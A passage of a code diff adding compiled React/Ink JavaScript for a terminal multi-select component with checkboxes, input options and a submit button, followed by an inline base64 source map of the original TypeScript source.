+        return <Box key={String(option.value)} gap={1}><SelectInputOption option={option} isFocused={isOptionFocused} isSelected={false} shouldShowDownArrow={areMoreOptionsBelow && isLastVisibleOption} shouldShowUpArrow={areMoreOptionsAbove && isFirstVisibleOption} maxIndexWidth={maxIndexWidth} index={i} inputValue={inputValue} onInputChange={value => {
+            state.updateInputValue(option.value, value);
+          }} onSubmit={_temp} onExit={() => {
+            onCancel();
+          }} layout="compact" onOpenEditor={onOpenEditor} onImagePaste={onImagePaste} pastedContents={pastedContents} onRemoveImage={onRemoveImage}><Text color={isSelected ? "success" : undefined}>[{isSelected ? figures.tick : " "}]{" "}</Text></SelectInputOption></Box>;
+      }
+      return <Box key={String(option.value)} gap={1}><SelectOption isFocused={isOptionFocused} isSelected={false} shouldShowDownArrow={areMoreOptionsBelow && isLastVisibleOption} shouldShowUpArrow={areMoreOptionsAbove && isFirstVisibleOption} description={option.description}>{!hideIndexes && <Text dimColor={true}>{`${i}.`.padEnd(maxIndexWidth)}</Text>}<Text color={isSelected ? "success" : undefined}>[{isSelected ? figures.tick : " "}]</Text><Text color={isOptionFocused ? "suggestion" : undefined}>{option.label}</Text></SelectOption></Box>;
+    });
+    $[17] = hideIndexes;
+    $[18] = isDisabled;
+    $[19] = onCancel;
+    $[20] = onImagePaste;
+    $[21] = onOpenEditor;
+    $[22] = onRemoveImage;
+    $[23] = options.length;
+    $[24] = pastedContents;
+    $[25] = state;
+    $[26] = T0;
+    $[27] = T1;
+    $[28] = t7;
+    $[29] = t8;
+    $[30] = t9;
+  } else {
+    T0 = $[26];
+    T1 = $[27];
+    t7 = $[28];
+    t8 = $[29];
+    t9 = $[30];
+  }
+  let t10;
+  if ($[31] !== T0 || $[32] !== t7 || $[33] !== t8) {
+    t10 = <T0 flexDirection={t7}>{t8}</T0>;
+    $[31] = T0;
+    $[32] = t7;
+    $[33] = t8;
+    $[34] = t10;
+  } else {
+    t10 = $[34];
+  }
+  let t11;
+  if ($[35] !== onSubmit || $[36] !== state.isSubmitFocused || $[37] !== submitButtonText) {
+    t11 = submitButtonText && onSubmit && <Box marginTop={0} gap={1}>{state.isSubmitFocused ? <Text color="suggestion">{figures.pointer}</Text> : <Text> </Text>}<Box marginLeft={3}><Text color={state.isSubmitFocused ? "suggestion" : undefined} bold={true}>{submitButtonText}</Text></Box></Box>;
+    $[35] = onSubmit;
+    $[36] = state.isSubmitFocused;
+    $[37] = submitButtonText;
+    $[38] = t11;
+  } else {
+    t11 = $[38];
+  }
+  let t12;
+  if ($[39] !== T1 || $[40] !== t10 || $[41] !== t11 || $[42] !== t9) {
+    t12 = <T1 flexDirection={t9}>{t10}{t11}</T1>;
+    $[39] = T1;
+    $[40] = t10;
+    $[41] = t11;
+    $[42] = t9;
+    $[43] = t12;
+  } else {
+    t12 = $[43];
+  }
+  return t12;
+}
+function _temp() {}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJCb3giLCJUZXh0IiwiUGFzdGVkQ29udGVudCIsIkltYWdlRGltZW5zaW9ucyIsIk9wdGlvbldpdGhEZXNjcmlwdGlvbiIsIlNlbGVjdElucHV0T3B0aW9uIiwiU2VsZWN0T3B0aW9uIiwidXNlTXVsdGlTZWxlY3RTdGF0ZSIsIlNlbGVjdE11bHRpUHJvcHMiLCJpc0Rpc2FibGVkIiwidmlzaWJsZU9wdGlvbkNvdW50Iiwib3B0aW9ucyIsIlQiLCJkZWZhdWx0VmFsdWUiLCJvbkNhbmNlbCIsIm9uQ2hhbmdlIiwidmFsdWVzIiwib25Gb2N1cyIsInZhbHVlIiwiZm9jdXNWYWx1ZSIsInN1Ym1pdEJ1dHRvblRleHQiLCJvblN1Ym1pdCIsImhpZGVJbmRleGVzIiwib25Eb3duRnJvbUxhc3RJdGVtIiwib25VcEZyb21GaXJzdEl0ZW0iLCJpbml0aWFsRm9jdXNMYXN0Iiwib25PcGVuRWRpdG9yIiwiY3VycmVudFZhbHVlIiwic2V0VmFsdWUiLCJvbkltYWdlUGFzdGUiLCJiYXNlNjRJbWFnZSIsIm1lZGlhVHlwZSIsImZpbGVuYW1lIiwiZGltZW5zaW9ucyIsInNvdXJjZVBhdGgiLCJwYXN0ZWRDb250ZW50cyIsIlJlY29yZCIsIm9uUmVtb3ZlSW1hZ2UiLCJpZCIsIlNlbGVjdE11bHRpIiwidDAiLCIkIiwiX2MiLCJ0MSIsInQyIiwidDMiLCJ0NCIsInVuZGVmaW5lZCIsInQ1IiwidDYiLCJzdGF0ZSIsIlQwIiwiVDEiLCJ0NyIsInQ4IiwidDkiLCJsZW5ndGgiLCJtYXhJbmRleFdpZHRoIiwidG9TdHJpbmciLCJ2aXNpYmxlT3B0aW9ucyIsIm1hcCIsIm9wdGlvbiIsImluZGV4IiwiaXNPcHRpb25Gb2N1c2VkIiwiZm9jdXNlZFZhbHVlIiwiaXNTdWJtaXRGb2N1c2VkIiwiaXNTZWxlY3RlZCIsInNlbGVjdGVkVmFsdWVzIiwiaW5jbHVkZXMiLCJpc0ZpcnN0VmlzaWJsZU9wdGlvbiIsInZpc2libGVGcm9tSW5kZXgiLCJpc0xhc3RWaXNpYmxlT3B0aW9uIiwidmlzaWJsZVRvSW5kZXgiLCJhcmVNb3JlT3B0aW9uc0JlbG93IiwiYXJlTW9yZU9wdGlvbnNBYm92ZSIsImkiLCJ0eXBlIiwiaW5wdXRWYWx1ZSIsImlucHV0VmFsdWVzIiwiZ2V0IiwiU3RyaW5nIiwidXBkYXRlSW5wdXRWYWx1ZSIsIl90ZW1wIiwidGljayIsImRlc2NyaXB0aW9uIiwicGFkRW5kIiwibGFiZWwiLCJ0MTAiLCJ0MTEiLCJwb2ludGVyIiwidDEyIl0sInNvdXJjZXMiOlsiU2VsZWN0TXVsdGkudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IFBhc3RlZENvbnRlbnQgfSBmcm9tICcuLi8uLi91dGlscy9jb25maWcuanMnXG5pbXBvcnQgdHlwZSB7IEltYWdlRGltZW5zaW9ucyB9IGZyb20gJy4uLy4uL3V0aWxzL2ltYWdlUmVzaXplci5qcydcbmltcG9ydCB0eXBlIHsgT3B0aW9uV2l0aERlc2NyaXB0aW9uIH0gZnJvbSAnLi9zZWxlY3QuanMnXG5pbXBvcnQgeyBTZWxlY3RJbnB1dE9wdGlvbiB9IGZyb20gJy4vc2VsZWN0LWlucHV0LW9wdGlvbi5qcydcbmltcG9ydCB7IFNlbGVjdE9wdGlvbiB9IGZyb20gJy4vc2VsZWN0LW9wdGlvbi5qcydcbmltcG9ydCB7IHVzZU11bHRpU2VsZWN0U3RhdGUgfSBmcm9tICcuL3VzZS1tdWx0aS1zZWxlY3Qtc3RhdGUuanMnXG5cbmV4cG9ydCB0eXBlIFNlbGVjdE11bHRpUHJvcHM8VD4gPSB7XG4gIHJlYWRvbmx5IGlzRGlzYWJsZWQ/OiBib29sZWFuXG4gIHJlYWRvbmx5IHZpc2libGVPcHRpb25Db3VudD86IG51bWJlclxuICByZWFkb25seSBvcHRpb25zOiBPcHRpb25XaXRoRGVzY3JpcHRpb248VD5bXVxuICByZWFkb25seSBkZWZhdWx0VmFsdWU/OiBUW11cbiAgcmVhZG9ubHkgb25DYW5jZWw6ICgpID0+IHZvaWRcbiAgcmVhZG9ubHkgb25DaGFuZ2U/OiAodmFsdWVzOiBUW10pID0+IHZvaWRcbiAgcmVhZG9ubHkgb25Gb2N1cz86ICh2YWx1ZTogVCkgPT4gdm9pZFxuICByZWFkb25seSBmb2N1c1ZhbHVlPzogVFxuICAvKipcbiAgICogVGV4dCBmb3IgdGhlIHN1Ym1pdCBidXR0b24uIFdoZW4gcHJvdmlkZWQsIGEgc3VibWl0IGJ1dHRvbiBpcyBzaG93biBhbmRcbiAgICogRW50ZXIgdG9nZ2xlcyBzZWxlY3Rpb24gKHN1Ym1pdCBvbmx5IGZpcmVzIHdoZW4gdGhlIGJ1dHRvbiBpcyBmb2N1c2VkKS5cbiAgICogV2hlbiBvbWl0dGVkLCBFbnRlciBzdWJtaXRzIGRpcmVjdGx5IGFuZCBTcGFjZSB0b2dnbGVzIHNlbGVjdGlvbi5cbiAgICovXG4gIHJlYWRvbmx5IHN1Ym1pdEJ1dHRvblRleHQ/OiBzdHJpbmdcbiAgLyoqXG4gICAqIENhbGxiYWNrIHdoZW4gdXNlciBzdWJtaXRzLiBSZWNlaXZlcyB0aGUgY3VycmVudGx5IHNlbGVjdGVkIHZhbHVlcy5cbiAgICovXG4gIHJlYWRvbmx5IG9uU3VibWl0PzogKHZhbHVlczogVFtdKSA9PiB2b2lkXG4gIC8qKlxuICAgKiBXaGVuIHRydWUsIGhpZGVzIHRoZSBudW1lcmljIGluZGV4ZXMgbmV4dCB0byBlYWNoIG9wdGlvbi5cbiAgICovXG4gIHJlYWRvbmx5IGhpZGVJbmRleGVzPzogYm9vbGVhblxuICAvKipcbiAgICogQ2FsbGJhY2sgd2hlbiB1c2VyIHByZXNzZXMgZG93biBmcm9tIHRoZSBsYXN0IGl0ZW0gKHN1Ym1pdCBidXR0b24pLlxuICAgKiBJZiBwcm92aWRlZCwgbmF2aWdhdGlvbiB3aWxsIG5vdCB3cmFwIHRvIHRoZSBmaXJzdCBpdGVtLlxuICAgKi9cbiAgcmVhZG9ubHkgb25Eb3duRnJvbUxhc3RJdGVtPzogKCkgPT4gdm9pZFxuICAvKipcbiAgICogQ2FsbGJhY2sgd2hlbiB1c2VyIHByZXNzZXMgdXAgZnJvbSB0aGUgZmlyc3QgaXRlbS5cbiAgICogSWYgcHJvdmlkZWQsIG5hdmlnYXRpb24gd2lsbCBub3Qgd3JhcCB0byB0aGUgbGFzdCBpdGVtLlxuICAgKi9cbiAgcmVhZG9ubHkgb25VcEZyb21GaXJzdEl0ZW0/OiAoKSA9PiB2b2lkXG4gIC8qKlxuICAgKiBGb2N1cyB0aGUgbGFzdCBvcHRpb24gaW5pdGlhbGx5IGluc3RlYWQgb2YgdGhlIGZpcnN0LlxuICAgKi9cbiAgcmVhZG9ubHkgaW5pdGlhbEZvY3VzTGFzdD86IGJvb2xlYW5cbiAgLyoqXG4gICAqIENhbGxiYWNrIHRvIG9wZW4gZXh0ZXJuYWwgZWRpdG9yIGZvciBlZGl0aW5nIGlucHV0IG9wdGlvbiB2YWx1ZXMuXG4gICAqIFdoZW4gcHJvdmlkZWQsIGN0cmwrZyB3aWxsIHRyaWdnZXIgdGhpcyBjYWxsYmFjayBpbiBpbnB1dCBvcHRpb25zXG4gICAqIHdpdGggdGhlIGN1cnJlbnQgdmFsdWUgYW5kIGEgc2V0dGVyIGZ1bmN0aW9uIHRvIHVwZGF0ZSB0aGUgaW50ZXJuYWwgc3RhdGUuXG4gICAqL1xuICByZWFkb25seSBvbk9wZW5FZGl0b3I/OiAoXG4gICAgY3VycmVudFZhbHVlOiBzdHJpbmcsXG4gICAgc2V0VmFsdWU6ICh2YWx1ZTogc3RyaW5nKSA9PiB2b2lkLFxuICApID0+IHZvaWRcbiAgcmVhZG9ubHkgb25JbWFnZVBhc3RlPzogKFxuICAgIGJhc2U2NEltYWdlOiBzdHJpbmcsXG4gICAgbWVkaWFUeXBlPzogc3RyaW5nLFxuICAgIGZpbGVuYW1lPzogc3RyaW5nLFxuICAgIGRpbWVuc2lvbnM/OiBJbWFnZURpbWVuc2lvbnMsXG4gICAgc291cmNlUGF0aD86IHN0cmluZyxcbiAgKSA9PiB2b2lkXG4gIHJlYWRvbmx5IHBhc3RlZENvbnRlbnRzPzogUmVjb3JkPG51bWJlciwgUGFzdGVkQ29udGVudD5cbiAgcmVhZG9ubHkgb25SZW1vdmVJbWFnZT86IChpZDogbnVtYmVyKSA9PiB2b2lkXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBTZWxlY3RNdWx0aTxUPih7XG4gIGlzRGlzYWJsZWQgPSBmYWxzZSxcbiAgdmlzaWJsZU9wdGlvbkNvdW50ID0gNSxcbiAgb3B0aW9ucyxcbiAgZGVmYXVsdFZhbHVlID0gW10sXG4gIG9uQ2FuY2VsLFxuICBvbkNoYW5nZSxcbiAgb25Gb2N1cyxcbiAgZm9jdXNWYWx1ZSxcbiAgc3VibWl0QnV0dG9uVGV4dCxcbiAgb25TdWJtaXQsXG4gIG9uRG93bkZyb21MYXN0SXRlbSxcbiAgb25VcEZyb21GaXJzdEl0ZW0sXG4gIGluaXRpYWxGb2N1c0xhc3QsXG4gIG9uT3BlbkVkaXRvcixcbiAgaGlkZUluZGV4ZXMgPSBmYWxzZSxcbiAgb25JbWFnZVBhc3RlLFxuICBwYXN0ZWRDb250ZW50cyxcbiAgb25SZW1vdmVJbWFnZSxcbn06IFNlbGVjdE11bHRpUHJvcHM8VD4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBzdGF0ZSA9IHVzZU11bHRpU2VsZWN0U3RhdGU8VD4oe1xuICAgIGlzRGlzYWJsZWQsXG4gICAgdmlzaWJsZU9wdGlvbkNvdW50LFxuICAgIG9wdGlvbnMsXG4gICAgZGVmYXVsdFZhbHVlLFxuICAgIG9uQ2hhbmdlLFxuICAgIG9uQ2FuY2VsLFxuICAgIG9uRm9jdXMsXG4gICAgZm9jdXNWYWx1ZSxcbiAgICBzdWJtaXRCdXR0b25UZXh0LFxuICAgIG9uU3VibWl0LFxuICAgIG9uRG93bkZyb21MYXN0SXRlbSxcbiAgICBvblVwRnJvbUZpcnN0SXRlbSxcbiAgICBpbml0aWFsRm9jdXNMYXN0LFxuICAgIGhpZGVJbmRleGVzLFxuICB9KVxuXG4gIGNvbnN0IG1heEluZGV4V2lkdGggPSBvcHRpb25zLmxlbmd0aC50b1N0cmluZygpLmxlbmd0aFxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAge3N0YXRlLnZpc2libGVPcHRpb25zLm1hcCgob3B0aW9uLCBpbmRleCkgPT4ge1xuICAgICAgICAgIGNvbnN0IGlzT3B0aW9uRm9jdXNlZCA9XG4gICAgICAgICAgICAhaXNEaXNhYmxlZCAmJlxuICAgICAgICAgICAgc3RhdGUuZm9jdXNlZFZhbHVlID09PSBvcHRpb24udmFsdWUgJiZcbiAgICAgICAgICAgICFzdGF0ZS5pc1N1Ym1pdEZvY3VzZWRcbiAgICAgICAgICBjb25zdCBpc1NlbGVjdGVkID0gc3RhdGUuc2VsZWN0ZWRWYWx1ZXMuaW5jbHVkZXMob3B0aW9uLnZhbHVlKVxuXG4gICAgICAgICAgY29uc3QgaXNGaXJzdFZpc2libGVPcHRpb24gPSBvcHRpb24uaW5kZXggPT09IHN0YXRlLnZpc2libGVGcm9tSW5kZXhcbiAgICAgICAgICBjb25zdCBpc0xhc3RWaXNpYmxlT3B0aW9uID0gb3B0aW9uLmluZGV4ID09PSBzdGF0ZS52aXNpYmxlVG9JbmRleCAtIDFcbiAgICAgICAgICBjb25zdCBhcmVNb3JlT3B0aW9uc0JlbG93ID0gc3RhdGUudmlzaWJsZVRvSW5kZXggPCBvcHRpb25zLmxlbmd0aFxuICAgICAgICAgIGNvbnN0IGFyZU1vcmVPcHRpb25zQWJvdmUgPSBzdGF0ZS52aXNpYmxlRnJvbUluZGV4ID4gMFxuXG4gICAgICAgICAgY29uc3QgaSA9IHN0YXRlLnZpc2libGVGcm9tSW5kZXggKyBpbmRleCArIDFcblxuICAgICAgICAgIGlmIChvcHRpb24udHlwZSA9PT0gJ2lucHV0Jykge1xuICAgICAgICAgICAgY29uc3QgaW5wdXRWYWx1ZSA9IHN0YXRlLmlucHV0VmFsdWVzLmdldChvcHRpb24udmFsdWUpIHx8ICcnXG5cbiAgICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICAgIDxCb3gga2V5PXtTdHJpbmcob3B0aW9uLnZhbHVlKX0gZ2FwPXsxfT5cbiAgICAgICAgICAgICAgICA8U2VsZWN0SW5wdXRPcHRpb25cbiAgICAgICAgICAgICAgICAgIG9wdGlvbj17b3B0aW9ufVxuICAgICAgICAgICAgICAgICAgaXNGb2N1c2VkPXtpc09wdGlvbkZvY3VzZWR9XG4gICAgICAgICAgICAgICAgICBpc1NlbGVjdGVkPXtcbiAgICAgICAgICAgICAgICAgICAgZmFsc2UgLyogV2Ugc2hvdyBzZWxlY3Rpb24gc3RhdGUgZGlmZmVyZW50bHkgZm9yIG11bHRpLXNlbGVjdCAqL1xuICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgc2hvdWxkU2hvd0Rvd25BcnJvdz17XG4gICAgICAgICAgICAgICAgICAgIGFyZU1vcmVPcHRpb25zQmVsb3cgJiYgaXNMYXN0VmlzaWJsZU9wdGlvblxuICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgc2hvdWxkU2hvd1VwQXJyb3c9e1xuICAgICAgICAgICAgICAgICAgICBhcmVNb3JlT3B0aW9uc0Fib3ZlICYmIGlzRmlyc3RWaXNpYmxlT3B0aW9uXG4gICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICBtYXhJbmRleFdpZHRoPXttYXhJbmRleFdpZHRofVxuICAgICAgICAgICAgICAgICAgaW5kZXg9e2l9XG4gICAgICAgICAgICAgICAgICBpbnB1dFZhbHVlPXtpbnB1dFZhbHVlfVxuICAgICAgICAgICAgICAgICAgb25JbnB1dENoYW5nZT17dmFsdWUgPT4ge1xuICAgICAgICAgICAgICAgICAgICBzdGF0ZS51cGRhdGVJbnB1dFZhbHVlKG9wdGlvbi52YWx1ZSwgdmFsdWUpXG4gICAgICAgICAgICAgICAgICB9fVxuICAgICAgICAgICAgICAgICAgb25TdWJtaXQ9eygpID0+IHt9fSAvKiBXZSBoYW5kbGUgc3VibWl0IGhpZ2hlciB1cCAqL1xuICAgICAgICAgICAgICAgICAgb25FeGl0PXsoKSA9PiB7XG4gICAgICAgICAgICAgICAgICAgIG9uQ2FuY2VsKClcbiAgICAgICAgICAgICAgICAgIH19XG4gICAgICAgICAgICAgICAgICBsYXlvdXQ9XCJjb21wYWN0XCJcbiAgICAgICAgICAgICAgICAgIG9uT3BlbkVkaXRvcj17b25PcGVuRWRpdG9yfVxuICAgICAgICAgICAgICAgICAgb25JbWFnZVBhc3RlPXtvbkltYWdlUGFzdGV9XG4gICAgICAgICAgICAgICAgICBwYXN0ZWRDb250ZW50cz17cGFzdGVkQ29udGVudHN9XG4gICAgICAgICAgICAgICAgICBvblJlbW92ZUltYWdlPXtvblJlbW92ZUltYWdlfVxuICAgICAgICAgICAgICAgID5cbiAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPXtpc1NlbGVjdGVkID8gJ3N1Y2Nlc3MnIDogdW5kZWZpbmVkfT5cbiAgICAgICAgICAgICAgICAgICAgW3tpc1NlbGVjdGVkID8gZmlndXJlcy50aWNrIDogJyAnfV17JyAnfVxuICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDwvU2VsZWN0SW5wdXRPcHRpb24+XG4gICAgICAgICAgICAgIDwvQm94PlxuICAgICAgICAgICAgKVxuICAgICAgICAgIH1cblxuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8Qm94IGtleT17U3RyaW5nKG9wdGlvbi52YWx1ZSl9IGdhcD17MX0+XG4gICAgICAgICAgICAgIDxTZWxlY3RPcHRpb25cbiAgICAgICAgICAgICAgICBpc0ZvY3VzZWQ9e2lzT3B0aW9uRm9jdXNlZH1cbiAgICAgICAgICAgICAgICBpc1NlbGVjdGVkPXtcbiAgICAgICAgICAgICAgICAgIGZhbHNlIC8qIFdlIHNob3cgc2VsZWN0aW9uIHN0YXRlIGRpZmZlcmVudGx5IGZvciBtdWx0aS1zZWxlY3QgKi9cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgc2hvdWxkU2hvd0Rvd25BcnJvdz17YXJlTW9yZU9wdGlvbnNCZWxvdyAmJiBpc0xhc3RWaXNpYmxlT3B0aW9ufVxuICAgICAgICAgICAgICAgIHNob3VsZFNob3dVcEFycm93PXthcmVNb3JlT3B0aW9uc0Fib3ZlICYmIGlzRmlyc3RWaXNpYmxlT3B0aW9ufVxuICAgICAgICAgICAgICAgIGRlc2NyaXB0aW9uPXtvcHRpb24uZGVzY3JpcHRpb259XG4gICAgICAgICAgICAgID5cbiAgICAgICAgICAgICAgICB7IWhpZGVJbmRleGVzICYmIChcbiAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntgJHtpfS5gLnBhZEVuZChtYXhJbmRleFdpZHRoKX08L1RleHQ+XG4gICAgICAgICAgICAgICAgKX1cbiAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17aXNTZWxlY3RlZCA/ICdzdWNjZXNzJyA6IHVuZGVmaW5lZH0+XG4gICAgICAgICAgICAgICAgICBbe2lzU2VsZWN0ZWQgPyBmaWd1cmVzLnRpY2sgOiAnICd9XVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17aXNPcHRpb25Gb2N1c2VkID8gJ3N1Z2dlc3Rpb24nIDogdW5kZWZpbmVkfT5cbiAgICAgICAgICAgICAgICAgIHtvcHRpb24ubGFiZWx9XG4gICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICA8L1NlbGVjdE9wdGlvbj5cbiAgICAgICAgICAgIDwvQm94PlxuICAgICAgICAgIClcbiAgICAgICAgfSl9XG4gICAgICA8L0JveD5cbiAgICAgIHtzdWJtaXRCdXR0b25UZXh0ICYmIG9uU3VibWl0ICYmIChcbiAgICAgICAgPEJveCBtYXJnaW5Ub3A9ezB9IGdhcD17MX0+XG4gICAgICAgICAge3N0YXRlLmlzU3VibWl0Rm9jdXNlZCA/IChcbiAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VnZ2VzdGlvblwiPntmaWd1cmVzLnBvaW50ZXJ9PC9UZXh0PlxuICAgICAgICAgICkgOiAoXG4gICAgICAgICAgICA8VGV4dD4gPC9UZXh0PlxuICAgICAgICAgICl9XG4gICAgICAgICAgPEJveCBtYXJnaW5MZWZ0PXszfT5cbiAgICAgICAgICAgIDxUZXh0XG4gICAgICAgICAgICAgIGNvbG9yPXtzdGF0ZS5pc1N1Ym1pdEZvY3VzZWQgPyAnc3VnZ2VzdGlvbicgOiB1bmRlZmluZWR9XG4gICAgICAgICAgICAgIGJvbGQ9e3RydWV9XG4gICAgICAgICAgICA+XG4gICAgICAgICAgICAgIHtzdWJtaXRCdXR0b25UZXh0fVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8L0JveD5cbiAgICAgICl9XG4gICAgPC9Cb3g+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLE9BQU9BLE9BQU8sTUFBTSxTQUFTO0FBQzdCLE9BQU9DLEtBQUssTUFBTSxPQUFPO0FBQ3pCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsYUFBYSxRQUFRLHVCQUF1QjtBQUMxRCxjQUFjQyxlQUFlLFFBQVEsNkJBQTZCO0FBQ2xFLGNBQWNDLHFCQUFxQixRQUFRLGFBQWE7QUFDeEQsU0FBU0MsaUJBQWlCLFFBQVEsMEJBQTBCO0FBQzVELFNBQVNDLFlBQVksUUFBUSxvQkFBb0I7QUFDakQsU0FBU0MsbUJBQW1CLFFBQVEsNkJBQTZCO0FBRWpFLE9BQU8sS0FBS0MsZ0JBQWdCLENBQUMsQ0FBQyxDQUFDLEdBQUc7RUFDaEMsU0FBU0MsVUFBVSxDQUFDLEVBQUUsT0FBTztFQUM3QixTQUFTQyxrQkFBa0IsQ0FBQyxFQUFFLE1BQU07RUFDcEMsU0FBU0MsT0FBTyxFQUFFUCxxQkFBcUIsQ0FBQ1EsQ0FBQyxDQUFDLEVBQUU7RUFDNUMsU0FBU0MsWUFBWSxDQUFDLEVBQUVELENBQUMsRUFBRTtFQUMzQixTQUFTRSxRQUFRLEVBQUUsR0FBRyxHQUFHLElBQUk7RUFDN0IsU0FBU0MsUUFBUSxDQUFDLEVBQUUsQ0FBQ0MsTUFBTSxFQUFFSixDQUFDLEVBQUUsRUFBRSxHQUFHLElBQUk7RUFDekMsU0FBU0ssT0FBTyxDQUFDLEVBQUUsQ0FBQ0MsS0FBSyxFQUFFTixDQUFDLEVBQUUsR0FBRyxJQUFJO0VBQ3JDLFNBQVNPLFVBQVUsQ0FBQyxFQUFFUCxDQUFDO0VBQ3ZCO0FBQ0Y7QUFDQTtB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